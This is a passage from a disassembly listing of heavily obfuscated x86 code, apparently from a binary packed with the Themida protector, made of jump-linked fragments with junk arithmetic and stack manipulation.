		mov	ecx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	cx
		mov	cl, 1Ah
		jmp	loc_562439
; ---------------------------------------------------------------------------


loc_560F19:				; CODE XREF: sub_55EDA7+10A1Aj
		xor	ebx, esi
		pop	esi
		jmp	loc_563B23
; ---------------------------------------------------------------------------


loc_560F21:				; CODE XREF: sub_55EDA7+FB4j
		sub	esp, 4
		mov	[esp-1Ch+arg_18], eax
		push	5BE1h
		jmp	loc_570FEE
; ---------------------------------------------------------------------------


loc_560F31:				; CODE XREF: sub_55EDA7+CA69j
		sub	ebx, ecx
		push	ecx
		mov	ecx, 76693455h
		sub	ebx, ecx
		pop	ecx
		pop	ecx
		add	ebx, eax
		add	ebx, 1FFD324Ah
		jmp	loc_5611D0
; ---------------------------------------------------------------------------


loc_560F4A:				; CODE XREF: sub_55EDA7+51F1j
		add	esi, 4653702Eh
		dec	esi
		and	esi, 7E3805EBh
		add	esi, 0ACCB12D0h
		xor	ebx, esi
		pop	esi
		push	edx
		mov	edx, 17B94E78h
		shr	edx, 2
		jmp	loc_56EBA9
; ---------------------------------------------------------------------------


loc_560F6E:				; CODE XREF: sub_55EDA7+8C04j
		add	ecx, ebp
		add	ecx, 54715139h
		push	[esp-1Ch+arg_18]
		mov	ebp, [esp-18h+arg_14]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-18h+arg_14]
		pop	esp
		jmp	loc_5705F2
; ---------------------------------------------------------------------------


loc_560F97:				; CODE XREF: Themida_:005727CCj
		sub	edx, 4
		jmp	loc_567F85
; ---------------------------------------------------------------------------


loc_560F9F:				; CODE XREF: sub_55EDA7+928Cj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_560FA4:				; CODE XREF: sub_55EDA7+EAABj
		shl	ecx, 2
		push	eax
		mov	eax, 39764846h
		sub	ecx, eax
		pop	eax
		inc	ecx
		push	esi
		push	1E021CA8h
		pop	esi
		and	esi, 1A37603Ah
		xor	esi, 47286BF0h
		and	ecx, esi
		pop	esi
		add	ecx, 0B6253230h
		and	ebx, ecx
		jmp	loc_563EBA
; ---------------------------------------------------------------------------


loc_560FD4:				; CODE XREF: sub_55EDA7+6E11j
		pop	edx
		add	edi, 4
		jmp	loc_569F52
; ---------------------------------------------------------------------------


loc_560FE0:				; CODE XREF: sub_55EDA7+94CCj
		mov	ebp, 107C1CB5h
		xor	esi, ebp
		pop	ebp
		neg	esi
		shl	esi, 5
		add	esi, 5A126F36h
		or	esi, 7B2B3FA3h
		jmp	loc_56C3AE
; ---------------------------------------------------------------------------


loc_560FFE:				; CODE XREF: sub_55EDA7+5D58j
		add	ebx, 4
		xchg	ebx, [esp-24h+arg_20]
		pop	esp
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5713C1
; ---------------------------------------------------------------------------
byte_561013	db 89h			; CODE XREF: sub_55EDA7+D943j
; ---------------------------------------------------------------------------
		and	al, 24h
		add	[esp-20h+arg_1C], 4
		mov	ebx, [esp-20h+arg_1C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 1C88688Eh
		or	edx, 74D34B8Ch
		xor	edx, 49BF1F1Ah
		inc	edx
		jmp	loc_55F3AE
; ---------------------------------------------------------------------------


loc_561041:				; CODE XREF: sub_55EDA7+723Dj
		pop	ebp
		add	eax, 4
		xor	eax, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], eax
		xor	eax, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		push	5CD7h
		jmp	loc_568A19
; ---------------------------------------------------------------------------


loc_56105B:				; CODE XREF: sub_55EDA7+5E1Dj
		pop	ebx
		xchg	ecx, [esp-1Ch+arg_18]
		pop	esp
		jmp	loc_566585
; ---------------------------------------------------------------------------


loc_561065:				; CODE XREF: sub_55EDA7+37AFj
		pop	esp
		jmp	sub_56C517
; ---------------------------------------------------------------------------


loc_56106B:				; CODE XREF: sub_55EDA7+429Fj
		sub	esp, 4
		mov	[esp-20h+arg_1C], edi
		mov	edi, 532507A8h
		sub	edx, edi
		mov	edi, [esp-20h+arg_1C]
		add	esp, 4
		sub	edx, 5B1541B2h
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56108C:				; CODE XREF: sub_55EDA7+3409j
		push	1DFAh
		mov	[esp-20h+arg_1C], ebx
		jmp	loc_5673BC
; ---------------------------------------------------------------------------


loc_561099:				; CODE XREF: sub_55EDA7+9F7Fj
		add	ebp, 4
		xchg	ebp, [esp-20h+arg_1C]
		mov	esp, [esp-20h+arg_1C]
		push	5976h
		mov	[esp-1Ch+arg_18], edx
		mov	dl, 46h
		jmp	loc_56F7FD
; ---------------------------------------------------------------------------


loc_5610B1:				; CODE XREF: sub_55EDA7+308Cj
		add	esp, 4
		sub	esp, 4
		mov	[esp-1Ch+arg_18], ebx
		mov	ebx, 2
		add	ecx, ebx
		push	[esp-1Ch+arg_18]
		pop	ebx
		add	esp, 4
		push	ecx
		push	[esp-1Ch+arg_1C]
		push	[esp-18h+arg_14]
		pop	ecx
		jmp	loc_5637A2
; ---------------------------------------------------------------------------


loc_5610D9:				; CODE XREF: sub_55EDA7+8E14j
		pop	ecx
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 5F570223h
		add	edx, 4BC298Eh
		or	ecx, edx
		pop	edx
		xor	ecx, 31C60FE3h
		xor	ebp, ecx
		mov	ecx, [esp-20h+arg_1C]
		add	esp, 4
		sub	ebp, 1
		jmp	loc_562199
; ---------------------------------------------------------------------------


loc_561105:				; CODE XREF: sub_55EDA7+BE4Bj
		pop	ebp
		add	esp, 4
		jmp	loc_55FEBE
; ---------------------------------------------------------------------------


loc_56110E:				; CODE XREF: sub_55EDA7+231j
		push	eax
		mov	eax, 22637A47h
		xor	eax, 50E85CF6h
		jmp	loc_572D20
; ---------------------------------------------------------------------------


loc_56111E:				; CODE XREF: sub_55EDA7+768Cj
		sub	edx, ebx
		push	[esp+34h+var_36+2]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_55F768
; ---------------------------------------------------------------------------


loc_56112D:				; CODE XREF: sub_55EDA7+56F6j
		sub	esi, 1D4D2550h
		pop	ebp
		sub	esi, 55877528h
		add	esi, 4021325Dh
		add	esi, ecx
		sub	esi, 4021325Dh
		add	esi, 55877528h
		jmp	loc_560382
; ---------------------------------------------------------------------------


loc_561153:				; CODE XREF: sub_55EDA7+464Bj
		add	esi, 4
		sub	esi, 4
		jmp	loc_56C245
; ---------------------------------------------------------------------------


loc_561164:				; CODE XREF: sub_55EDA7+6B97j
		add	ebx, edx
		sub	ebx, 28EF53E9h
		mov	edx, [esp+30h+var_32+2]
		push	edx
		mov	edx, esp
		jmp	loc_564975
; ---------------------------------------------------------------------------


loc_561177:				; CODE XREF: sub_55EDA7+BAA2j
		dec	ebp
		sub	ebp, 7B78C157h
		or	esi, ebp
		pop	ebp
		or	esi, 6CA61ACEh
		jmp	loc_565521
; ---------------------------------------------------------------------------


loc_56118C:				; DATA XREF: Themida_:0055DFD4o
		mov	cx, word ptr [esp+30h+var_32+2]
		push	esi
		push	esp
		jmp	loc_56007E
; ---------------------------------------------------------------------------


loc_561197:				; CODE XREF: sub_55EDA7+F507j
		dec	edi
		xor	edi, 10296D06h
		jmp	loc_568C08
; ---------------------------------------------------------------------------


loc_5611A3:				; CODE XREF: sub_55EDA7+D837j
		add	esp, 4
		jmp	sub_56D2EE
; ---------------------------------------------------------------------------


loc_5611AE:				; CODE XREF: sub_55EDA7+F085j
		pop	eax
		push	5C27h
		mov	[esp+34h+var_36+2], esi
		jmp	loc_5675F8
; ---------------------------------------------------------------------------


loc_5611BC:				; DATA XREF: Themida_:0055DF94o
		mov	esp, [esp+34h+var_36+2]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5611C4:				; CODE XREF: sub_55EDA7+5EFj
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_5724D0
; ---------------------------------------------------------------------------


loc_5611D0:				; CODE XREF: sub_55EDA7+219Ej
		push	4119h
		jmp	loc_568798
; ---------------------------------------------------------------------------


loc_5611DA:				; CODE XREF: sub_55EDA7+AC2Aj
		mov	edx, 4
		add	ecx, edx
		jmp	loc_56D658
; ---------------------------------------------------------------------------


loc_5611E6:				; CODE XREF: sub_55EDA7+6116j
		xchg	edi, [esp-18h+arg_14]
		jmp	loc_56856A
; ---------------------------------------------------------------------------


loc_5611EE:				; CODE XREF: sub_55EDA7+6B86j
		push	ebp
		jmp	loc_56E0A7
; ---------------------------------------------------------------------------


loc_5611F4:				; CODE XREF: sub_55EDA7-A62j
		mov	eax, ecx
		pop	ecx
		push	edx
		jmp	sub_571634
; ---------------------------------------------------------------------------


loc_5611FD:				; CODE XREF: sub_55EDA7+3F1Ej
		push	0E4F3020h
		pop	edi
		inc	edi
		xor	edi, 6EF94515h
		add	edi, 9F498AD0h
		mov	ecx, edi
		pop	edi
		add	eax, ecx
		jmp	loc_56883A
; ---------------------------------------------------------------------------


loc_56121A:				; CODE XREF: sub_55EDA7+7208j
		push	eax
		mov	eax, 2DBE7C18h
		sub	eax, 2DBE7C14h
		jmp	loc_560A84
; ---------------------------------------------------------------------------


loc_56122A:				; CODE XREF: sub_55EDA7+A6A4j
		shr	byte ptr [esp+18h+var_1A+2], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_561233:				; CODE XREF: sub_55EDA7+C1F9j
		pop	esi
		push	4516h
		mov	[esp+1Ch+var_1E+2], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		mov	ebx, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	0B1Fh
		mov	[esp+1Ch+var_1E+2], eax
		mov	eax, 0C7A3C50h
		push	ebp
		mov	ebp, 0F385C3B4h
		add	eax, ebp
		jmp	loc_572A28
; ---------------------------------------------------------------------------


loc_56127C:				; CODE XREF: sub_55EDA7-A5Aj
		mov	bl, al
		pop	eax
		xor	al, bl
		push	[esp+10h+var_12+2]
		pop	ebx
		push	2E07h
		mov	[esp+14h+var_16+2], ebp
		jmp	loc_565354
; ---------------------------------------------------------------------------


loc_561292:				; CODE XREF: sub_55EDA7+11A4j
		mov	edx, 753A876Ah
		sub	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		push	eax
		mov	eax, 7B0454D1h
		mov	edi, eax
		pop	eax
		shl	edi, 5
		push	eax
		mov	eax, 7C82AB56h
		xor	edi, eax
		pop	eax
		jmp	loc_56443E
; ---------------------------------------------------------------------------


loc_5612BD:				; CODE XREF: sub_55EDA7+CB8Aj
		sub	esp, 4
		mov	[esp+0], edx
		push	1256h
		jmp	loc_56E192
; ---------------------------------------------------------------------------


loc_5612D0:				; CODE XREF: sub_55EDA7+42A8j
		add	esp, 4
		sub	edi, ebx
		xchg	edi, ebx
		pop	edi
		sub	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	ebx, 7BDB2401h
		sub	ebx, ebp
		add	ebx, 7BDB2401h
		pop	ebp
		push	ebp
		push	edi
		mov	edi, 8A24F8F6h
		mov	ebp, edi
		pop	edi
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56F160
; ---------------------------------------------------------------------------


loc_561308:				; CODE XREF: sub_55EDA7+BE95j
		sub	eax, ecx
		pop	ecx
		mov	ecx, eax
		pop	eax
		mov	ebx, 9BF05A0Dh
		sub	ebx, ecx
		pop	ecx
		xor	ebx, 57805050h
		and	ebx, 0AD352CEh
		dec	ebx
		jmp	loc_56F93B
; ---------------------------------------------------------------------------


loc_561328:				; CODE XREF: sub_55EDA7+13DF1j
		sub	bl, al
		push	edx
		push	ecx
		mov	ch, 72h
		add	ch, 0FAh
		not	ch
		neg	ch
		add	ch, 3
		push	ecx
		dec	byte ptr [esp-4+arg_0+1]
		pop	ecx
		sub	ch, 0Ah
		mov	dl, ch
		pop	ecx
		add	bl, dl
		jmp	loc_561DF1
; ---------------------------------------------------------------------------


loc_56134B:				; CODE XREF: sub_55EDA7+12741j
		pop	esp
		xchg	eax, [esp-10h+arg_C]
		pop	esp
		shl	word ptr [esp-14h+arg_10], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56135A:				; CODE XREF: sub_55EDA7+87BBj
		and	edi, 514E287Ah
		neg	edi
		push	esi
		mov	esi, 3F90942h
		inc	esi
		jmp	loc_5646D7
; ---------------------------------------------------------------------------


loc_56136E:				; CODE XREF: sub_55EDA7+100F7j
		pop	edx
		add	[esp-10h+arg_10], edi
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_562086
; ---------------------------------------------------------------------------


loc_56137E:				; CODE XREF: sub_55EDA7+9851j
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		add	edi, 4
		jmp	loc_562465
; ---------------------------------------------------------------------------


loc_56138F:				; CODE XREF: sub_55EDA7+5F1Aj
		push	ecx
		mov	cl, 76h
		mov	ah, cl
		pop	ecx
		jmp	loc_56C263
; ---------------------------------------------------------------------------


loc_56139A:				; CODE XREF: sub_55EDA7+B0C0j
		push	esi
		jmp	loc_56FCA4
; ---------------------------------------------------------------------------


loc_5613A0:				; CODE XREF: sub_55EDA7+11A8Bj
		pop	eax
		push	[esp-18h+arg_14]
		pop	ecx
		jmp	loc_55ED50
; ---------------------------------------------------------------------------


loc_5613AA:				; CODE XREF: sub_55EDA7+4A82j
		push	ebp
		jmp	loc_55F075
; ---------------------------------------------------------------------------


loc_5613B0:				; CODE XREF: sub_55EDA7+FBACj
		mov	[esp-14h+arg_10], esp
		add	[esp-14h+arg_10], 4
		mov	edx, [esp-14h+arg_10]
		jmp	loc_564396
; ---------------------------------------------------------------------------


loc_5613BF:				; CODE XREF: sub_55EDA7+422Ej
		add	ebp, 4
		xchg	ebp, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56B505
; ---------------------------------------------------------------------------


loc_5613DF:				; CODE XREF: sub_55EDA7+7Bj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		push	edi
		push	[esp+10h+var_E+2]
		pop	edi
		pop	[esp+10h+var_12+2]
		jmp	loc_567475
; ---------------------------------------------------------------------------


loc_5613FC:				; CODE XREF: sub_55EDA7+7672j
		push	ecx
		push	1A0379ABh
		pop	ecx
		dec	ecx
		and	ecx, 4FCE7C87h
		xor	ecx, 251E1BCAh
		jmp	loc_5686F3
; ---------------------------------------------------------------------------


loc_561415:				; CODE XREF: sub_55EDA7+E5A5j
		add	[esp+10h+var_12+2], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+10h+var_E+2]
		push	[esp+14h+var_16+2]
		push	[esp+18h+var_1A+2]
		pop	ebp
		add	esp, 4
		add	esp, 4
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_E+2]
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_566965
; ---------------------------------------------------------------------------


loc_561448:				; CODE XREF: sub_55EDA7+4BE1j
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		mov	[esp+0Ch+var_E+2], ebp
		jmp	loc_5625DF
; ---------------------------------------------------------------------------


loc_561459:				; CODE XREF: sub_55EDA7+A13Ej
		push	edx
		mov	edx, 4123172Ch
		or	edx, 4E511CF6h
		neg	edx
		inc	edx
		xor	edx, 0BDE4A695h
		sub	eax, edx
		pop	edx
		pop	ebp
		add	eax, 4
		xor	eax, [esp+8+var_8]
		jmp	loc_5712F7
; ---------------------------------------------------------------------------


loc_56147D:				; CODE XREF: sub_55EDA7+ECD3j
		xor	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	[esp+8+var_8]
		push	[esp+0Ch+var_E+2]
		pop	edx
		jmp	sub_572802
; ---------------------------------------------------------------------------


loc_56148F:				; CODE XREF: sub_55EDA7+FAA1j
		mov	[esp+0Ch+var_E+2], eax
		mov	eax, esp
		jmp	loc_5617C7
; ---------------------------------------------------------------------------


loc_561499:				; CODE XREF: sub_55EDA7+49B0j
		pop	ecx
		add	eax, ebp
		jmp	loc_5639E4
; ---------------------------------------------------------------------------


loc_5614A1:				; CODE XREF: sub_55EDA7+4D70j
		push	[esp+8+var_4]
		jmp	loc_56D2CD
; ---------------------------------------------------------------------------


loc_5614AA:				; CODE XREF: sub_55EDA7+2796j
		add	[esp+0Ch+var_E+2], 4
		mov	eax, [esp+0Ch+var_E+2]
		add	esp, 4
		jmp	loc_56672E
; ---------------------------------------------------------------------------


loc_5614BC:				; CODE XREF: sub_55EDA7+4C9Ej
		mov	eax, 47E1307Ch
		jmp	loc_566A34
; ---------------------------------------------------------------------------


loc_5614C6:				; CODE XREF: sub_55EDA7+79DDj
		pop	edi
		add	esp, 4
		push	550Ch
		mov	[esp+4+var_4], edx
		push	esi
		mov	esi, 1EFA6033h
		jmp	loc_56385D
; ---------------------------------------------------------------------------


loc_5614DD:				; CODE XREF: sub_55EDA7+13FFj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5614E2:				; CODE XREF: sub_55EDA7+E13Ej
		not	esi
		not	esi
		jmp	loc_56E469
; ---------------------------------------------------------------------------


loc_5614EB:				; CODE XREF: sub_55EDA7+6297j
		mov	edi, [esp+38h+var_3A+2]
		push	edi
		jmp	loc_56EDD3
; ---------------------------------------------------------------------------


loc_5614F4:				; CODE XREF: sub_55EDA7+9F5Dj
		mov	[esp+3Ch+var_3E+2], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+40h+var_3E+2]
		pop	eax
		pop	[esp+40h+var_42+2]
		pop	esp
		sub	al, bl
		add	al, 9Eh
		sub	esp, 4
		jmp	loc_5712A3
; ---------------------------------------------------------------------------


loc_56151A:				; CODE XREF: sub_55EDA7+1223Cj
		mov	esi, 0FFFFFFFFh
		jmp	loc_561A48
; ---------------------------------------------------------------------------


loc_561524:				; CODE XREF: sub_55EDA7+56BDj
		and	edi, 1B6312FBh
		and	edi, 77A650CBh
		jmp	loc_5663AD
; ---------------------------------------------------------------------------


loc_561535:				; CODE XREF: sub_55EDA7+7725j
		pop	[esp+3Ch+var_3E+2]
		pop	esp
		push	esp
		pop	[esp+38h+var_3A+2]
		jmp	loc_5614AA
; ---------------------------------------------------------------------------


loc_561542:				; CODE XREF: sub_55EDA7+8456j
		push	[esp+34h+var_32+2]
		jmp	loc_572382
; ---------------------------------------------------------------------------


loc_56154B:				; CODE XREF: sub_55EDA7+57D3j
		mov	edx, [esp+38h+var_3A+2]
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		jmp	loc_570FB6
; ---------------------------------------------------------------------------


loc_561562:				; CODE XREF: sub_55EDA7+34C9j
		add	edi, 9328D3C0h
		push	edi
		pop	ebx
		mov	edi, [esp+38h+var_3A+2]
		push	esi
		jmp	loc_565474
; ---------------------------------------------------------------------------


loc_561573:				; CODE XREF: sub_55EDA7+DEE3j
		pop	esp
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], esp
		jmp	loc_568848
; ---------------------------------------------------------------------------


loc_56157F:				; CODE XREF: sub_55EDA7+4CE0j
		push	53EEh
		mov	[esp+40h+var_42+2], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 1AB25106h
		push	edx
		mov	edx, 0E54DAEFEh
		add	edi, edx
		pop	edx
		add	edx, edi
		mov	edi, [esp+44h+var_46+2]
		add	esp, 4
		xchg	edx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5615B4:				; CODE XREF: sub_55EDA7+14D1j
		add	[esp+1Ch+var_1E+2], 4
		pop	[esp+1Ch+var_1E+2]
		push	eax
		mov	eax, 4
		jmp	loc_56AF76
; ---------------------------------------------------------------------------


loc_5615C6:				; CODE XREF: sub_55EDA7+79B3j
		add	bl, ah
		pop	eax
		sub	bl, 6Ah
		add	bl, ch
		add	bl, 6Ah
		jmp	loc_572250
; ---------------------------------------------------------------------------


loc_5615D6:				; CODE XREF: sub_55EDA7+6615j
		sub	edx, 0BA5FF883h
		jmp	loc_571AFF
; ---------------------------------------------------------------------------


loc_5615E1:				; CODE XREF: sub_55EDA7+9844j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		or	eax, eax
		jz	loc_561C3F
		push	dword ptr [edi+1Ch]
		push	[esp+1Ch+var_1E+2]
		mov	ecx, [esp+20h+var_22+2]
		push	eax
		push	esp
		pop	eax
		push	ebp
		jmp	loc_56039C
; ---------------------------------------------------------------------------


loc_56160B:				; CODE XREF: Themida_:00571222j
		neg	dh
		xor	dh, 92h
		and	dh, 0A6h
		jmp	loc_56DAF5
; ---------------------------------------------------------------------------


loc_561618:				; CODE XREF: sub_55EDA7+A9FAj
		shl	edx, 2
		push	esi
		push	edi
		push	6B316519h
		pop	edi
		or	edi, 140438F8h
		sub	edi, 0FFFFFFFFh
		xor	edi, 47106AD6h
		jmp	loc_56FD3B
; ---------------------------------------------------------------------------


loc_56163A:				; CODE XREF: sub_55EDA7+63F7j
		pop	ebx
		add	eax, 4
		xor	eax, [esp+2Ch+var_2E+2]
		xor	[esp+2Ch+var_2E+2], eax
		xor	eax, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		add	edx, 4
		jmp	loc_572CB6
; ---------------------------------------------------------------------------


loc_561652:				; CODE XREF: sub_55EDA7+58ADj
		mov	[esp+2Ch+var_2E+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		jmp	loc_5650A9
; ---------------------------------------------------------------------------


loc_561663:				; CODE XREF: sub_57132F+8j
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+34h+var_32+2]
		pop	ecx
		jmp	loc_56CDA4
; ---------------------------------------------------------------------------


loc_56167A:				; CODE XREF: sub_55EDA7+2F44j
		push	[esp+34h+var_32+2]
		pop	ecx
		pop	[esp+34h+var_36+2]
		jmp	loc_56C1D6
; ---------------------------------------------------------------------------


loc_561687:				; CODE XREF: sub_55EDA7+B21Dj
		mov	edi, [esp+30h+var_32+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56F9D9
; ---------------------------------------------------------------------------


loc_561695:				; CODE XREF: sub_55EDA7+29B1j
		push	ebp
		mov	ebp, 8A6CD4h
		xor	esi, ebp
		pop	ebp
		jmp	loc_55E65A
; ---------------------------------------------------------------------------


loc_5616A3:				; CODE XREF: sub_55EDA7+F6E4j
		push	ebx
		push	[esp+34h+var_32+2]
		push	[esp+38h+var_3A+2]
		pop	ebx
		add	esp, 4
		pop	[esp+34h+var_36+2]
		mov	esp, [esp+30h+var_32+2]
		push	eax
		mov	al, 14h
		jmp	loc_5625A9
; ---------------------------------------------------------------------------


loc_5616C0:				; CODE XREF: sub_55EDA7+2F55j
		mov	esp, [esp+34h+var_36+2]
		mov	[esp+34h+var_36+2], edx
		mov	edx, 2
		sub	edi, 7A28476Fh
		jmp	loc_566946
; ---------------------------------------------------------------------------


loc_5616D6:				; CODE XREF: sub_55EDA7+BA0Ej
		sub	esp, 4
		jmp	loc_569BF9
; ---------------------------------------------------------------------------


loc_5616DE:				; CODE XREF: sub_55EDA7+DEFFj
		push	eax
		mov	eax, 38F02869h
		shl	eax, 2
		sub	eax, 19B30EB5h
		push	eax
		not	[esp+40h+var_42+2]
		pop	eax
		add	eax, 0FFFFFFFFh
		sub	eax, 35F26D0Bh
		add	ebx, eax
		pop	eax
		push	edi
		jmp	loc_56875E
; ---------------------------------------------------------------------------


loc_561702:				; CODE XREF: sub_55EDA7+39CBj
		pop	edi
		push	22DFh
		mov	[esp+3Ch+var_3E+2], ecx
		mov	ecx, 3B2A2E89h
		push	ebx
		mov	ebx, 3BCD0A4Dh
		mov	edx, 73B25A05h
		sub	edx, ebx
		push	[esp+40h+var_42+2]
		mov	ebx, [esp+44h+var_46+2]
		add	esp, 4
		add	esp, 4
		sub	edx, ecx
		jmp	loc_571824
; ---------------------------------------------------------------------------


loc_561733:				; CODE XREF: sub_55EDA7+B744j
		push	3713h
		mov	[esp+40h+var_42+2], edx
		push	edi
		push	2ECCh
		jmp	loc_56CE32
; ---------------------------------------------------------------------------


loc_561746:				; CODE XREF: sub_55EDA7+AE74j
		sub	esi, 7AE93438h
		add	esi, edx
		add	esi, 7AE93438h
		pop	edx
		shr	esi, 7
		jmp	loc_561695
; ---------------------------------------------------------------------------


loc_56175D:				; CODE XREF: sub_55EDA7+C3A6j
		add	edx, edi
		jmp	loc_570BA1
; ---------------------------------------------------------------------------


loc_561764:				; CODE XREF: sub_55EDA7+E56Aj
		btr	word ptr [esp+44h+var_46+2], ax
		pushf
		jmp	loc_56AC8F
; ---------------------------------------------------------------------------


loc_56176F:				; CODE XREF: sub_55EDA7+23Dj
		shl	edx, 3
		push	esi
		jmp	loc_564F53
; ---------------------------------------------------------------------------


loc_561778:				; CODE XREF: sub_55EDA7+7DE4j
		pop	ebx
		sub	esp, 4
		mov	[esp+30h+var_32+2], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_55F804
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+34h+var_36+2]
		jmp	loc_5641EC
; ---------------------------------------------------------------------------


loc_56179A:				; CODE XREF: sub_55EDA7+B982j
		push	edi
		jmp	loc_57199E
; ---------------------------------------------------------------------------


loc_5617A0:				; CODE XREF: sub_55EDA7+DF39j
		mov	ebp, 57806428h
		mov	edx, 5D86C869h
		sub	edx, ebp
		jmp	loc_565EE1
; ---------------------------------------------------------------------------


loc_5617B1:				; CODE XREF: sub_55EDA7+13D6Cj
		add	ecx, 39EC75C4h
		sub	eax, ecx
		jmp	loc_56C3CC
; ---------------------------------------------------------------------------


loc_5617BE:				; DATA XREF: Themida_:0055DF80o
		mov	ax, word ptr [esp+38h+var_3A+2]
		jmp	loc_55F968
; ---------------------------------------------------------------------------


loc_5617C7:				; CODE XREF: sub_55EDA7+26EDj
		push	ebx
		mov	ebx, 6855B5Dh
		neg	ebx
		jmp	loc_565722
; ---------------------------------------------------------------------------


loc_5617D4:				; CODE XREF: sub_55EDA7+4E61j
		push	ax
		mov	ah, 0E8h
		and	bh, ah
		jmp	loc_5709BD
; ---------------------------------------------------------------------------


loc_5617DF:				; CODE XREF: sub_55EDA7+12D88j
		add	esi, eax
		pop	eax
		jmp	loc_55E70E
; ---------------------------------------------------------------------------


loc_5617E7:				; CODE XREF: sub_56EE51+2Bj
		add	ebp, edi
		mov	edi, [esp+0Eh+var_E]
		add	esp, 4
		push	ecx
		mov	ecx, 4F822A5Ch
		and	ecx, 0F422F70h
		push	esi
		push	edi
		mov	edi, 0FE661C46h
		push	edi
		pop	esi
		mov	edi, [esp+16h+var_16]
		add	esp, 4
		add	ecx, esi
		mov	esi, [esp+12h+var_12]
		add	esp, 4
		sub	esp, 4
		mov	[esp+12h+var_12], edx
		jmp	loc_565B80
; ---------------------------------------------------------------------------


loc_561826:				; CODE XREF: sub_55EDA7+11E97j
		mov	word ptr [esp+12h+var_12], dx
		mov	dh, 46h
		add	bl, dh
		pop	dx
		push	eax
		jmp	loc_567CE9
; ---------------------------------------------------------------------------


loc_561836:				; CODE XREF: sub_55EDA7+3BC8j
		add	edi, 4
		push	ebx
		push	ecx
		push	4
		pop	ecx
		push	ecx
		pop	ebx
		mov	ecx, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	edi, 4661374Eh
		jmp	loc_56471F
; ---------------------------------------------------------------------------


loc_56185A:				; CODE XREF: sub_55EDA7+7EF9j
		add	esi, 4626871Ah
		mov	ebp, esi
		pop	esi
		jmp	loc_56FF49
; ---------------------------------------------------------------------------


loc_561868:				; CODE XREF: sub_55EDA7+617Aj
		add	eax, 6719E5h
		xor	ebx, eax
		jmp	loc_56796C
; ---------------------------------------------------------------------------


loc_561874:				; CODE XREF: sub_55EDA7-59Aj
		mov	[esp-1Ch+arg_18], esp
		add	[esp-1Ch+arg_18], 4
		jmp	loc_567546
; ---------------------------------------------------------------------------


loc_561880:				; CODE XREF: sub_55EDA7+117D8j
		not	ecx
		add	ecx, 5E6418F3h
		neg	ecx
		dec	ecx
		not	ecx
		xor	ecx, 76908854h
		jmp	loc_56F1B3
; ---------------------------------------------------------------------------


loc_561898:				; CODE XREF: sub_55EDA7+E0D9j
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-18h+arg_14]
		pop	esp
		jmp	loc_56A3AC
; ---------------------------------------------------------------------------


loc_5618B3:				; CODE XREF: sub_55EDA7+760Fj
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		add	edx, 2BAA4DFBh
		sub	edx, eax
		sub	edx, 2BAA4DFBh
		pop	eax
		xor	edx, [esp-20h+arg_1C]
		xor	[esp-20h+arg_1C], edx
		xor	edx, [esp-20h+arg_1C]
		pop	esp
		mov	[esp-24h+arg_20], esp
		add	[esp-24h+arg_20], 4
		push	[esp-24h+arg_20]
		mov	ebx, [esp-20h+arg_1C]
		add	esp, 4
		push	esi
		jmp	loc_563B1C
; ---------------------------------------------------------------------------


